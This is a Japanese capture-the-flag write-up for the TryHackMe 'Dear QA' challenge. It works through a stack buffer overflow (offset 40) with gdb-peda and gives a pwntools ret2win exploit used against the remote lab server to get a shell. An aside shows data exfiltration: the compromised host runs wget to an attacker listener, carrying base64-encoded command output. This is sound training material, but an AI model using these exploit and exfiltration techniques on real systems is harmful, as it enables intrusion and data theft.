⛳
[JP]TryHackMe WriteUp: Dear QA
問題の概要
- pwnの問題
- 難易度: easy
準備
- ファイル「DearQA.DearQA」が与えられる
- ソースコードはなし
ファイルの確認
$file DearQA.DearQA
DearQA.DearQA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dae71dcf7b3fe612fe9f7a4d0fa068ff3fc93bd, not stripped
64bitの実行ファイルであるとわかる
動作を確認
$./DearQA.DearQA
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
nameを聞かれて入力できる
長い文字列を渡すとSegmentation faultで落ちる
中身を確認
$objdump -M intel -d ./DearQA.DearQA
0000000000400686 <vuln>:
(中略)
4006bc: e8 8f fe ff ff call 400550 <execve@plt>
(中略)
00000000004006c3 <main>:
- main関数の他にvuln関数がある
- vuln関数ではexecveが呼ばれている
- vuln関数を呼んでいる箇所はない
→ どうにかしてvuln関数(0x400686)に飛ばす方向性で考える
gdbで解析
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : disabled
防御機構は特になし
gdb-peda$ pdisass main
0x00000000004006fd <+58>: lea rax,[rbp-0x20]
(中略)
0x000000000040070e <+75>: call 0x400580 <__isoc99_scanf@plt>
- scanfが呼ばれる前に0x20のメモリが確保されている
- 0x20 + rbpの退避分 + リターンアドレス分 程度を書き込むことでRIPが上書きできるはず
- 64bitなので適当に入れるとうまく上書きできないので注意
gdb-peda$ pattc 0x2D
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AA'
gdb-peda$ r
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AA
Hello: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x0
RSI: 0x6012a0 ("Hello: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AA\n")
RDI: 0x7ffff7fa7670 --> 0x0
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffe1f0 --> 0x7fffffffe2d8 --> 0x7fffffffe569
RIP: 0x4141304141 ('AA0AA')
R8 : 0xffffffff
R9 : 0x35 ('5')
R10: 0x7fffffffe1c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AA")
R11: 0x246
R12: 0x400590 (<_start>: xor ebp,ebp)
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[------------------------------------------------------------------------------]
Stopped reason: SIGSEGV
0x0000004141304141 in ?? ()
RIPが「AA0AA」に上書きできた
gdb-peda$ patto AA0AA
AA0AA found at offset: 40
オフセットが40だとわかった
攻撃
exploit.py
オフセット40のあとにリターンアドレスでvulnのアドレス0x400686を書き込む
#!/usr/bin/env python3
from pwn import *
p = process("./DearQA.DearQA")
vuln_addr = 0x400686
payload = b"A" * 40
payload += p64(vuln_addr)
p.sendline(payload)
p.interactive()
実行
$ python3 exploit.py
[+] Starting local process './DearQA.DearQA': pid 1361
[*] Switching to interactive mode
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x06
Congratulations!
You have entered in the secret function!
$ ls
DearQA.DearQA exploit.py
シェルが取れた
サーバへの攻撃
exploit.py
pをリモートに変更
#!/usr/bin/env python3
from pwn import *
p = remote("サーバのIP", 5700)
vuln_addr = 0x400686
payload = b"A" * 40
payload += p64(vuln_addr)
p.sendline(payload)
p.interactive()
実行
$ python3 exploit.py
[*] Switching to interactive mode
ctf@dearqa:/home/ctf$ $ ls
なぜかメッセージやコマンドの実行結果が出力されない
コマンド自体は動いてそうに見える
原因解析
$ nc サーバのIP 5700
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: aaa
aaa
Hello: aaa
ncコマンドでは正常に見える
$python3 exploit.py > output
$hexdump -C output
(中略)
000000e0 63 6f 6d 65 20 64 65 61 72 51 41 0d 0a 49 20 61 |come dearQA..I a|
- Hexでみると正常に出力が返っていた
- 改行コードが「0d 0a」になっている
- 0dで行頭に戻り、0aで改行が書き込まれるため何も表示されない
exploit.py
コードの修正
#!/usr/bin/env python3
from pwn import *
p = remote("サーバのIP", 5700)
context.newline="\r"
vuln_addr = 0x400686
payload = b"A" * 40
payload += p64(vuln_addr)
p.sendline(payload)
p.interactive()
pwntoolsのドキュメントを見るとrecvlineは「newlineに設定されたバイト列で終了する」と書かれている
少々無理やりだがcontext.newline="\r"
で終了文字を\r(0x0d)に変更する
実行
$ python3 exploit.py
[*] Switching to interactive mode
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86^F@^@^@^@^@^@
Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x06
Congratulations!
You have entered in the secret function!
bash: cannot set terminal process group (444): Inappropriate ioctl for device
bash: no job control in this shell
ctf@dearqa:/home/ctf$ ls
ls
DearQA dearqa.c flag.txt
ctf@dearqa:/home/ctf$ $ cat flag.txt
cat flag.txt
THM{・・・}
フラグが取れた
余談
結果が出力されない状態で無理やりフラグを取る方法
クライアント側(攻撃者)を8000ポートでリッスン
$nc -lvnp 8000
listening on [any] 8000 ...
サーバからwgetでリクエストを投げる
ctf@dearqa:/home/ctf$ wget クライアントのIP:8000/`ls | base64`
クライアント
$nc -lvnp 8000
listening on [any] 8000 ...
GET /RGVhclFBCmRlYXJxYS5jCmZsYWcudHh0 HTTP/1.1
User-Agent: Wget/1.16 (linux-gnu)
Accept: */*
Connection: Keep-Alive
あとはbase64をデコードするだけ
(その他、外部にリクエスト投げられるコマンドならなんでもいけます)
Discussion